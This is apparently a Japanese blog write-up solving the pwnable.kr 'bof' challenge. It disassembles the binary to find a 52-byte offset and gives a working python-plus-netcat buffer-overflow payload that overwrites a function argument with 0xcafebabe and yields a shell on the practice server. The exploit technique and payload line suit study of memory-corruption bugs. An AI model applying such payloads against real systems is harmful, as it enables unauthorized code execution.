pwnable.kr(3)

ちょっと間が空いて2つ目の記事で終わりそうでした。僕もあまり続くようなたちではないんですけど、頑張ってみようと思います。身になると信じて。

bof

pwnable.krの3つ目の問題です。netcat系の問題ですね。

nc pwnable.kr 9000

を実行して適当に入れるとoverflow me...が出る。
そのあとは、先にソースコードを見た。ソースコードから得られるのは、まず何を入力すればいいのかということ。
関数funcは0xdeadbeefの引数で呼ばれている。引数がpushされて呼ばれているくさいので、当分の目標はpushされた引数をgetsによる変数overflowmeへの書き込みによって上書きするというもの。入力する値は、適当な文字列(少なくとも32文字以上)+¥xbe¥xba¥xfe¥xca。後半部分は、0xcafebabeのリトルエンディアン表記。んで、適当な文字列を何文字入れれば良いのかということなんだけど。
バイナリ見てみる。

% objdump --arch-name=x86 -d bof

まず、mainをみる。

main:
     68a:	55 	pushl	%ebp
     68b:	89 e5 	movl	%esp, %ebp
     68d:	83 e4 f0 	andl	$-16, %esp
     690:	83 ec 10 	subl	$16, %esp
     693:	c7 04 24 ef be ad de 	movl	$3735928559, (%esp)
     69a:	e8 8d ff ff ff 	calll	-115 <func>
     69f:	b8 00 00 00 00 	movl	$0, %eax
     6a4:	c9 	leave
     6a5:	c3 	retl
     6a6:	90 	nop

693:	c7 04 24 ef be ad de 	movl	$3735928559, (%esp)

この部分を見て、deadbeefがスタックに積まれている事がわかる。
その次の行でfuncを呼び出してる。
funcは

func:
     62c:	55 	pushl	%ebp
     62d:	89 e5 	movl	%esp, %ebp
     62f:	83 ec 48 	subl	$72, %esp
     632:	65 a1 14 00 00 00 	movl	%gs:20, %eax
     638:	89 45 f4 	movl	%eax, -12(%ebp)
     63b:	31 c0 	xorl	%eax, %eax
     63d:	c7 04 24 8c 07 00 00 	movl	$1932, (%esp)
     644:	e8 fc ff ff ff 	calll	-4 <func+0x19>
     649:	8d 45 d4 	leal	-44(%ebp), %eax
     64c:	89 04 24 	movl	%eax, (%esp)
     64f:	e8 fc ff ff ff 	calll	-4 <func+0x24>
     654:	81 7d 08 be ba fe ca 	cmpl	$3405691582, 8(%ebp)
     65b:	75 0e 	jne	14 <func+0x3F>
     65d:	c7 04 24 9b 07 00 00 	movl	$1947, (%esp)
     664:	e8 fc ff ff ff 	calll	-4 <func+0x39>
     669:	eb 0c 	jmp	12 <func+0x4B>
     66b:	c7 04 24 a3 07 00 00 	movl	$1955, (%esp)
     672:	e8 fc ff ff ff 	calll	-4 <func+0x47>
     677:	8b 45 f4 	movl	-12(%ebp), %eax
     67a:	65 33 05 14 00 00 00 	xorl	%gs:20, %eax
     681:	74 05 	je	5 <func+0x5C>
     683:	e8 fc ff ff ff 	calll	-4 <func+0x58>
     688:	c9 	leave
     689:	c3 	retl

どこが変数overflowなのか探すために、比較しているところをみる。

     649:	8d 45 d4 	leal	-44(%ebp), %eax
     64c:	89 04 24 	movl	%eax, (%esp)
     64f:	e8 fc ff ff ff 	calll	-4 <func+0x24>
     654:	81 7d 08 be ba fe ca 	cmpl $3405691582, 8(%ebp)

ここ。eax = ebp-44 で、この値をスタックにおいてから、getsを呼んでる。したがって、ebp-44がoverflowの先頭だっていう事がわかる。また、cmplからebp+8がfuncの引数keyって事がわかる。したがって、ebp-44からebp+8までの差ebp+8-(ebp-44)=52が適当な文字列の長さ。これに付け加えれば良い。
したがって、入力するコードが

% (python -c "print 'a'*52+'\xbe\xba\xfe\xca'";cat) | nc pwnable.kr 9000

となる。このあとは、シェルが起動しているので、

% (python -c "print 'a'*52+'\xbe\xba\xfe\xca'";cat) | nc pwnable.kr 9000
ls
bof
bof.c
flag
log
log2
super.pl
cat flag

でフラグがでます。